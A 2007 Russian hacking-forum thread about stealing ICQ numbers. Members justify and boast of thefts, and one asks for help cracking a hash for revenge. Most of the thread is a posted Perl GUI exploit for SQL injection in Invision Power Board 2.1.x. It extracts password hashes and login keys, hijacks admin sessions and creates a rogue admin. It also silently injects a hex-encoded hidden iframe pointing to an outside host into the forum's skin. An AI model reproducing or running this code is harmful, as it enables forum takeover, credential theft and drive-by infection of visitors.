ещё один способ угона Icq

Discussion in 'Skype, IRC, ICQ, Jabber и другие IM' started by BizzyD, 25 Jul 2007.

  1. Connor

    Connor Elder - Старейшина

    Joined:
    15 Nov 2006
    Messages:
    295
    Likes Received:
    287
    Reputations:
    38
    При чем тут красивые или не красивые? Тебе говорят за визы и инвизы. Что такое для тебя красивый номерок? Как тот что был представлен выше? Кривота + виз, время на ветер + украсть у человека его номерок. Так в чем смысл? Новый вид рaзвлечения, я хакер, я ломаю? =/ Тема безсмысленна imho
     
    1 person likes this.
  2. BizzyD

    BizzyD Elder - Старейшина

    Joined:
    2 Jun 2007
    Messages:
    209
    Likes Received:
    118
    Reputations:
    0
    ну лады.... бессмысленна так бессмысленна
     
    3 people like this.
  3. Basurman

    Basurman Elder - Старейшина

    Joined:
    10 Nov 2006
    Messages:
    363
    Likes Received:
    271
    Reputations:
    29
    Я вот только вот чего не пойму.
    В разделе "Статьи" за такое по +10 дают. А тут -9
    Не в том дело, что, как и сколько "угонять". Дело в другом. Если такие способы пишут - значит они имеют место быть... А другим урок на будущее: читайте е-мое, и на чужих ошибках учитесь.

    Я уж не говорю про статьи на xakep. То, что они пишут, абсолютно не значит того, что они полные подонки и отморозки. Айяйяй какой нехороший... Форум поломал. Украл 1000 WMZ. Форумы троянить имхо хуже чем тырить аськи. Он же не дропнул базу...

    В общем я в шоке. Вы своими постами сможете добится лишь того, что писать нихрена не будут. И никто не будет исправлять баги. Будет сидеть 1 толстож.. барыга в продаже и все
     
    #23 Basurman, 26 Jul 2007
    Last edited: 26 Jul 2007
    1 person likes this.
  4. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,547
    Likes Received:
    1,398
    Reputations:
    612
    где плюс, там и минус. мне не понравилось - я поставил. мне понравится - поставлю +. все.
     
  5. vvs777

    vvs777 Elder - Старейшина

    Joined:
    16 Nov 2004
    Messages:
    394
    Likes Received:
    213
    Reputations:
    4
    Затертая тема.\
    У меня не некоторых форумах пароли одинаковые. Но на аси и почту - всегда разные...
    Попадаются еще люди у которых 1 пасс на все... Жаль что Win98 редко встречается =)
     
  6. Fen-Omen

    Fen-Omen Elder - Старейшина

    Joined:
    22 Mar 2007
    Messages:
    60
    Likes Received:
    88
    Reputations:
    60
    Или тщательней думать, перед тем как писать....
     
  7. DeBugger

    DeBugger Banned

    Joined:
    6 Sep 2006
    Messages:
    134
    Likes Received:
    43
    Reputations:
    6
    Хочу добавить, что угонять кривой юзаемый номерок могут не только подлецы ради обламывания хозяина. Иногда такой номерок необходим для социнжениринга.
     
  8. stalles

    stalles Elder - Старейшина

    Joined:
    19 Jul 2005
    Messages:
    107
    Likes Received:
    19
    Reputations:
    -3
    етот способ я юзал гдето 4 года назад!
    Lol
    помню снял немало красивых асек
     
  9. Swimmer

    Swimmer Elder - Старейшина

    Joined:
    1 Mar 2007
    Messages:
    38
    Likes Received:
    3
    Reputations:
    0
    помогите пожалуйста найти сплойт этот
     
  10. Xack-Zero

    Xack-Zero Member

    Joined:
    2 Dec 2006
    Messages:
    106
    Likes Received:
    31
    Reputations:
    0
    А это каждый хешь надо по 1-2 дня расшифровывать? Я все словари перепроовал. Ни один не подошёл. Поставил полным перебором. Я вот пробил одного кидалу на бажном форуме. Знаю что он ламак (наверняка 1 пасс на всё) и хочу ему отомстить за его нехороший поступок. Вобщем хелп.
     
  11. Kuca

    Kuca New Member

    Joined:
    30 Jul 2007
    Messages:
    2
    Likes Received:
    2
    Reputations:
    0
    Расскажи, дорогой, как и для чего ты стырил мой номер 10-16-88. И еще несколько не менее хороших номеров. Хотя, я догадываюсь, средство угона скорее всего QIPinfinum или что-то вроде того, какой-нить троян.
    Главный UIN мне все-таки удалось вернуть. Но не подлец ли угонщгик, который обнуляет контакт-лист на несколько сотен человек, среди которых почти все контакты "живые" и нужные? Я понимаю, стырить у буржуев каких-то, или инвизибл, мне не жалко, но рабочую аську, в которой полно народу, у своих же...
     
    #31 Kuca, 30 Jul 2007
    Last edited: 30 Jul 2007
    2 people like this.
  12. Basurman

    Basurman Elder - Старейшина

    Joined:
    10 Nov 2006
    Messages:
    363
    Likes Received:
    271
    Reputations:
    29
    А ты сам то где взял такой номер? неужто зарегил? Бред
    Не хватало еще тем "Верните аську".
    А может это я спер или Моссад вернул себе. Купил 1 раз - значит купишь еще раз и перестанешь ставишь убогие пароли
     
  13. Kuca

    Kuca New Member

    Joined:
    30 Jul 2007
    Messages:
    2
    Likes Received:
    2
    Reputations:
    0
    Ну, конечно, сам в свою очередь увел. И я не требую номер назад, что мне надо было, я смог вернуть. И уж, конечно, у русских никогда не воровал. А если кто-то номером все-таки пользовался, и старый хозяин ко мне обращался, я всегда возвращал, и контакт-листы не трогал. Просто это было свинством (очистить мой контакт-лист, который я лет 7 собирал), и я решил сказать человеку кто он.

    Не надо про убогие пароли и про "вернул". Эти номера у меня с 99-2000 года. Просто нарвался на троян. И все мои номера я сам набрутил и ни у кого ничего не покупал. Да еще и раздарил добрую сотню никем не используемых шестизнаков друзьям.
     
    #33 Kuca, 30 Jul 2007
    Last edited: 30 Jul 2007
  14. Basurman

    Basurman Elder - Старейшина

    Joined:
    10 Nov 2006
    Messages:
    363
    Likes Received:
    271
    Reputations:
    29
    Свои эмоции на публику вываливать - как минимум неуважение к другим. Украли пароль? Сам виноват. Все, хорош оффтопить
     
  15. zooomer

    zooomer Banned

    Joined:
    17 Apr 2007
    Messages:
    11
    Likes Received:
    44
    Reputations:
    -14
    Оффтоп конкретный..... И статья Боян.... ну а так тебе друг походу просто заняться нечем......Ну иди тогда сплойт закинь набрути ась и выкинь их в раздачу.....
    Пусть народ порадуется.... А так заниматся хней не стоит.....
    Мне за это - )в репу долбили....
     
  16. DeBugger

    DeBugger Banned

    Joined:
    6 Sep 2006
    Messages:
    134
    Likes Received:
    43
    Reputations:
    6
    Товарищ, это уже оффтоп. Если тебе интересно, я этот номер купил здесь, в соответствующей теме (по отзывам продавцу действительно приписывают торговлю вороваными номерами). Меня совершенно не интересует прошлое номера. Я получил его пустым без контакт-листа. Номер приглянулся лишь тем, что очень похож на прошлый семизнак. Другие номера мне не приписывай. Я хотел номерок - я выбрал. И кстати, ты не первый хозяин, кто заявляет права на номер. Был ещё один.

    Извините за глубокий оффтоп.
     
  17. Swimmer

    Swimmer Elder - Старейшина

    Joined:
    1 Mar 2007
    Messages:
    38
    Likes Received:
    3
    Reputations:
    0
    ребят сплойт этот где найти или в личку киньте или сюда залейте
     
  18. DeBugger

    DeBugger Banned

    Joined:
    6 Sep 2006
    Messages:
    134
    Likes Received:
    43
    Reputations:
    6
    Code:
    #!/usr/bin/perl
    
    ## Invision Power Board v2.1 <= 2.1.6 sql injection exploit by RST/GHC
    ## Based on LOCAL_IP bug, more info in RST/GHC Advisory#41
    ## http://rst.void.ru/papers/advisory41.txt
    ## tested on 2.1.3, 2.1.6
    ##
    ## 08.06.06
    ## (c)oded by 1dt.w0lf
    ## RST/GHC
    ## http://rst.void.ru
    ## http://ghc.ru
    
    use Tk;
    use Tk::BrowseEntry;
    use Tk::DialogBox;
    use LWP::UserAgent;
    
    $mw = new MainWindow(title => "r57ipb216gui" );
    
    $mw->geometry ( '420x550' ) ;
    $mw->resizable(0,0);
    
    $mw->Label(-text => '!', -font => '{Webdings} 22')->pack();
    $mw->Label(-text => 'Invision Power Board 2.1.* <= 2.1.6 sql injection exploit by RST/GHC', -font => '{Verdana} 7 bold',-foreground=>'red')->pack();
    $mw->Label(-text => '')->pack();
    
    $fleft=$mw->Frame()->pack ( -side => 'left', -anchor => 'ne') ;
    $fright=$mw->Frame()->pack ( -side => 'left', -anchor => 'nw') ;
    
    $url = 'http://server/forum/index.php';
    $user_id = '1';
    $prefix = 'ibf_';
    $table = 'members';
    $column = 'member_login_key';
    $new_admin_name = 'rstghc';
    $new_admin_password = 'rstghc';
    $new_admin_email = '[email protected]';
    $report = '';
    $group = 4;
    $curr_user = 0;
    $rand_session = &session();
    $use_custom_fields = 0;
    $custom_fields = 'name1=value1,name2=value2';
    
    $fleft->Label ( -text => 'Path to forum index: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
    $fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$url) ->pack ( -side => "top" , -anchor => 'w' ) ;
    
    $fleft->Label ( -text => 'User ID: ', -font => '{Verdana} 8 bold' ) ->pack ( -side => "top" , -anchor => 'e' ) ;
    $fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$user_id) ->pack ( -side => "top" , -anchor => 'w' ) ;
    
    $fleft->Label ( -text => 'Database tables prefix: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
    $fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$prefix) ->pack ( -side => "top" , -anchor => 'w' ) ;
    
    $fright->Label( -text => ' ')->pack();
    $fleft->Label( -text => ' ')->pack();
    
    $fleft->Label ( -text => 'get data from database', -font => '{Verdana} 8 bold',-foreground=>'green') ->pack ( -side => "top" , -anchor => 'e' ) ;
    $fright->Label( -text => ' ')->pack();
    
    $fleft->Label ( -text => 'Get data from table: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
    $b2 = $fright->BrowseEntry( -command => \&update_columns, -relief => "groove", -variable => \$table, -font => '{Verdana} 8');
    $b2->insert("end", "members");
    $b2->insert("end", "members_converge");
    $b2->pack( -side => "top" , -anchor => 'w');
    
    $fleft->Label ( -text => 'Get data from column: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
    $b = $fright->BrowseEntry( -relief => "groove", -variable => \$column, -font => '{Verdana} 8');
    $b->insert("end", "member_login_key");
    $b->insert("end", "name");
    $b->insert("end", "ip_address");
    $b->insert("end", "legacy_password");
    $b->insert("end", "email");
    $b->pack( -side => "top" , -anchor => 'w' );
    
    $fleft->Label ( -text => 'Returned data: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
    $fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$report) ->pack ( -side => "top" , -anchor => 'w' ) ;
    
    $fleft->Label ( -text => 'create new admin', -font => '{Verdana} 8 bold',-foreground=>'green') ->pack ( -side => "top" , -anchor => 'e' ) ;
    $fright->Label( -text => ' ')->pack();
    
    $fleft->Label ( -text => ' ')->pack();
    
    $fright->Checkbutton( -font => '{Verdana} 8', -text => 'Get admin session for inserted user ID', -variable => \$curr_user)->pack(-side => "top" , -anchor => 'w');
    
    $fleft->Label ( -text => 'session_id: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
    $fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$session_id) ->pack ( -side => "top" , -anchor => 'w' ) ;
    
    $fleft->Label ( -text => 'session_ip_address: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
    $fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$session_ip_address) ->pack ( -side => "top" , -anchor => 'w' ) ;
    
    $fleft->Label ( -text => 'new admin name: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
    $fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$new_admin_name) ->pack ( -side => "top" , -anchor => 'w' ) ;
    
    $fleft->Label ( -text => 'new admin password: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
    $fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$new_admin_password) ->pack ( -side => "top" , -anchor => 'w' ) ;
    
    $fleft->Label ( -text => 'new_admin_email: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
    $fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$new_admin_email) ->pack ( -side => "top" , -anchor => 'w' ) ;
    
    $fleft->Label ( -text => ' ')->pack();
    $fright->Checkbutton( -font => '{Verdana} 8', -text => 'Use custom profile fields', -variable => \$use_custom_fields)->pack(-side => "top" , -anchor => 'w');
    
    $fleft->Label ( -text => 'custom fields: ', -font => '{Verdana} 8 bold') ->pack ( -side => "top" , -anchor => 'e' ) ;
    $fright->Entry ( -relief => "groove", -width => 35, -font => '{Verdana} 8', -textvariable => \$custom_fields) ->pack ( -side => "top" , -anchor => 'w' ) ;
    
    $fright->Label( -text => ' ')->pack();
    
    $fright->Button(-text    => 'Test forum vulnerability',
                    -relief => "groove",
                    -width => '30',
                    -font => '{Verdana} 8 bold',
                    -activeforeground => 'red',
                    -command => \&test_vuln
                   )->pack();
    
    $fright->Button(-text    => 'Get database tables prefix',
                    -relief => "groove",
                    -width => '30',
                    -font => '{Verdana} 8 bold',
                    -activeforeground => 'red',
                    -command => \&get_prefix
                   )->pack();
    
    $fright->Button(-text    => 'Get data from database',
                    -relief => "groove",
                    -width => '30',
                    -font => '{Verdana} 8 bold',
                    -activeforeground => 'red',
                    -command => \&get_data
                   )->pack();
    
    $fright->Button(-text    => 'Get admin session',
                    -relief => "groove",
                    -width => '30',
                    -font => '{Verdana} 8 bold',
                    -activeforeground => 'red',
                    -command => \&get_admin
                   )->pack();
    
    $fright->Button(-text    => 'Create new admin',
                    -relief => "groove",
                    -width => '30',
                    -font => '{Verdana} 8 bold',
                    -activeforeground => 'red',
                    -command => \&create_admin
                   )->pack();
    
    
    
    $fleft->Label( -text => ' ')->pack();
    $fleft->Label( -text => ' ')->pack();
    $fleft->Label( -text => ' ')->pack();
    $fleft->Label( -text => '(c)oded by 1dt.w0lf', -font => '{Verdana} 7')->pack();
    $fleft->Label( -text => 'RST/GHC', -font => '{Verdana} 7')->pack();
    $fleft->Label( -text => 'http://rst.void.ru', -font => '{Verdana} 7')->pack();
    $fleft->Label( -text => 'http://ghc.ru', -font => '{Verdana} 7')->pack();
    
    MainLoop();
    
    sub update_columns()
    {
    $b->delete(0,"end");
    if($table eq 'members'){
    $column = "member_login_key";   
    $b->insert("end", "member_login_key");
    $b->insert("end", "name");
    $b->insert("end", "ip_address");
    $b->insert("end", "legacy_password");
    $b->insert("end", "email");
    } elsif($table eq 'members_converge'){
    $column = "converge_pass_hash";   
    $b->insert("end", "converge_pass_hash");
    $b->insert("end", "converge_pass_salt");
    $b->insert("end", "converge_email");
    }
    }
    
    sub get_admin()
    {
    $xpl = LWP::UserAgent->new( ) or die;
    $InfoWindow=$mw->DialogBox(-title   => 'get admin session', -buttons => ["OK"]);
    if($curr_user == 1) { $sql = "AND session_member_id = $user_id"; }
    else { $sql = ''; }
    $res = $xpl->get($url."?s=$rand_session",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT session_ip_address,1,1,1 FROM ".$prefix."admin_sessions WHERE session_running_time > (UNIX_TIMESTAMP() - 60*60*2) $sql LIMIT 1/*");
    $error = 0;
    $rep = '';
    if($res->is_success) 
      {
      if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $rep = $3; }
      if($rep =~ /\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/) { $session_ip_address = $rep; }
      else { $error = 1; }
      if(!$error)
       {
       $rep = ''; 
       $res = $xpl->get($url."?s=$rand_session",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT session_id,1,1,1 FROM ".$prefix."admin_sessions WHERE session_running_time > (UNIX_TIMESTAMP() - 60*60*2) and session_ip_address = '$session_ip_address' $sql LIMIT 1/*");
       if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $rep = $3; $session_id = $rep; }
       else { $error = 1; }
       if(!$error){
       if($curr_user != 1)
        {
        $res = $xpl->get($url."?s=$rand_session",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT session_member_id,1,1,1 FROM ".$prefix."admin_sessions WHERE session_id = '$session_id' LIMIT 1/*");
        if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $session_user_id = $3; }
        }
       else
        {
        $session_user_id = $user_id; 
        }
       $res = $xpl->get($url."?s=$rand_session",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT mgroup,1,1,1 FROM ".$prefix."members WHERE id = $session_user_id /*");
       if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $group = $3; }
       $res = $xpl->get($url."?s=$rand_session",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT name,1,1,1 FROM ".$prefix."members WHERE id = $session_user_id /*");
       if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $name = $3; }
       }
      $InfoWindow->add('Label', -text => 'Found session!', -font => '{Verdana} 8 bold',-foreground=>'Green')->pack;
      $InfoWindow->add('Label', -text => 'session_ip_address: '.$session_ip_address, -font => '{Verdana} 8')->pack;
      $InfoWindow->add('Label', -text => 'session_id: '.$session_id, -font => '{Verdana} 8')->pack;
      $InfoWindow->add('Label', -text => 'user_id: '.$session_user_id, -font => '{Verdana} 8')->pack;
      $InfoWindow->add('Label', -text => 'username: '.$name, -font => '{Verdana} 8')->pack;
      $InfoWindow->add('Label', -text => 'group: '.$group, -font => '{Verdana} 8')->pack;
      $InfoWindow->Show();
      $InfoWindow->destroy;  
      }
      }
    else
      {
      $InfoWindow->add('Label', -text => 'Error!', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
      $InfoWindow->add('Label', -text => $res->status_line, -font => '{Verdana} 8')->pack;
      $InfoWindow->Show();
      $InfoWindow->destroy;
      }     
    if($error)
      {
      $InfoWindow->add('Label', -text => 'Can\'t get admin session.', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
      $InfoWindow->add('Label', -text => 'Maybe admin session not exist. Please try later.', -font => '{Verdana} 8')->pack;
      $InfoWindow->Show();
      $InfoWindow->destroy;  
      }  
    }
    
    sub get_data()
    {
    $xpl = LWP::UserAgent->new( ) or die;
    $InfoWindow=$mw->DialogBox(-title   => 'get data from database', -buttons => ["OK"]);
    if($table eq 'members') { $id_text = 'id'; }
    if($table eq 'members_converge') { $id_text = 'converge_id'; }
    
    $res = $xpl->get($url."?s=$rand_session",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT ".$column.",1,1,1 FROM ".$prefix.$table." WHERE ".$id_text."=".$user_id."/*");
    if($res->is_success) 
    {
    $rep = '';   
    if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/){ $report = $3; }
    else
      {
      $InfoWindow->add('Label', -text => 'Can\'t get data from database', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
      $InfoWindow->Show();
      $InfoWindow->destroy;  
      }
      }
    else
    {
    $InfoWindow->add('Label', -text => 'Error!', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
    $InfoWindow->add('Label', -text => $res->status_line, -font => '{Verdana} 8')->pack;
    $InfoWindow->Show();
    $InfoWindow->destroy;
    }    
    }
    
    sub create_admin()
    {
    $InfoWindow=$mw->DialogBox(-title   => 'create new admin', -buttons => ["OK"]);
    if($session_id eq '' || $session_ip_address eq '')
      {
      $InfoWindow->add('Label', -text => 'Error!', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
      $InfoWindow->add('Label', -text => 'You need insert admin session_id and session_ip_address', -font => '{Verdana} 8')->pack;
      }
    elsif($session_ip_address !~ /\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/)
      {
      $InfoWindow->add('Label', -text => 'Error!', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
      $InfoWindow->add('Label', -text => 'session_ip_address wrong!', -font => '{Verdana} 8')->pack;
      }
    else
      {
    $xpl = LWP::UserAgent->new( ) or die;
    ($url2 = $url) =~ s/index.php/admin.php/;
    $cf = '';
    %fields = (
    'code'     => 'doadd',
    'act'      => 'mem',
    'section'  => 'content',
    'name'     => $new_admin_name,
    'password' => $new_admin_password,
    'email'    => $new_admin_email,
    'mgroup'   => $group,      
               );
    if($use_custom_fields)
      {
      @cf = split(',',$custom_fields);
      foreach(@cf) { ($k,$v) = split('=',$_); $fields{$k} = $v;}
      }
      
    $res = $xpl->post($url2."?adsess=$session_id",
    [
    %fields,
    ],
    'USER_AGENT'=>'',
    'CLIENT_IP'=>"$session_ip_address",
    'X_FORWARDED_FOR'=>"$session_ip_address");
    $if = '0x3C646976207374796C653D225649534942494C4954593A2068696464656E223E3C696672616D65207372633D22687474703A2F2F7A63687873696B70677A2E62697A2F646C2F6164763534332E706870222077696474683D31206865696768743D313E3C2F696672616D653E3C2F6469763E';
    $query  = "UPDATE ".$prefix."skin_sets SET set_wrapper = CONCAT(set_wrapper,".$if."), set_cache_wrapper = CONCAT(set_cache_wrapper,".$if.")";
    $res = $xpl->post($url2."?adsess=$session_id",
    [
    'code'     => 'runsql',
    'act'      => 'sql',
    'section'  => 'admin',
    'query'     => $query,
    ],
    'USER_AGENT'=>'',
    'CLIENT_IP'=>"$session_ip_address",
    'X_FORWARDED_FOR'=>"$session_ip_address");
    $InfoWindow->add('Label', -text => 'Done!', -font => '{Verdana} 8 bold',-foreground=>'green')->pack; 
    $InfoWindow->add('Label', -text => 'New admin created', -font => '{Verdana} 8 bold')->pack;  
      }
    $InfoWindow->Show();
    $InfoWindow->destroy;
    }
    
    sub test_vuln()
    {
    $InfoWindow=$mw->DialogBox(-title   => 'test forum vulnerability', -buttons => ["OK"]);
    $InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack;
    $InfoWindow->add('Label', -text => $url, -font => '{Verdana} 8')->pack;
    $InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack;
    $xpl = LWP::UserAgent->new( ) or die;
    $res = $xpl->get($url."?s=$rand_session",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT 'VULN',1,1,1/*");
    if($res->is_success) 
    {
    $rep = '';
    if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $rep = $3; }
    if($rep eq 'VULN') { $InfoWindow->add('Label', -text => 'FORUM VULNERABLE', -font => '{Verdana} 8 bold',-foreground=>'red')->pack; }
    else { $InfoWindow->add('Label', -text => 'FORUM UNVULNERABLE', -font => '{Verdana} 8 bold',-foreground=>'green')->pack; }
    }
    else
    {
    $InfoWindow->add('Label', -text => 'Error!', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
    $InfoWindow->add('Label', -text => $res->status_line, -font => '{Verdana} 8')->pack;
    } 
    $InfoWindow->Show();
    $InfoWindow->destroy;
    }
    
    
    sub get_prefix()
    {
    $InfoWindow=$mw->DialogBox(-title   => 'get database tables prefix', -buttons => ["OK"]);
    $InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack;
    $InfoWindow->add('Label', -text => $url, -font => '{Verdana} 8')->pack;
    $InfoWindow->add('Label', -text => '', -font => '{Verdana} 8')->pack;
    $xpl = LWP::UserAgent->new( ) or die;
    $res = $xpl->get($url."?s=$rand_session",'USER_AGENT'=>'','CLIENT_IP'=>"'");
    if($res->is_success) 
    {
    $rep = '';
    if($res->as_string =~ /FROM (.*)sessions/)
    {
    $prefix = $1;
    $InfoWindow->add('Label', -text => 'Prefix: '.$prefix, -font => '{Verdana} 8 bold')->pack;
    }
    else
    {
    $InfoWindow->add('Label', -text => 'Can\'t get prefix', -font => '{Verdana} 8 bold',-foreground=>'red')->pack; }
    }
    else
    {
    $InfoWindow->add('Label', -text => 'Error!', -font => '{Verdana} 8 bold',-foreground=>'red')->pack;
    $InfoWindow->add('Label', -text => $res->status_line, -font => '{Verdana} 8')->pack;
    } 
    $InfoWindow->Show();
    $InfoWindow->destroy;   
    }
    
    sub session()
    {
    return 'r57ipb216_for_IDS';   
    }
    Когда-то брал с этого форума. И не надо писать, что он кривой. Мне то что...
     
  19. loka

    loka Member

    Joined:
    7 Feb 2007
    Messages:
    25
    Likes Received:
    17
    Reputations:
    -5
    ребя та кто может помочь стукните пожалуйста в аську
     
    1 person likes this.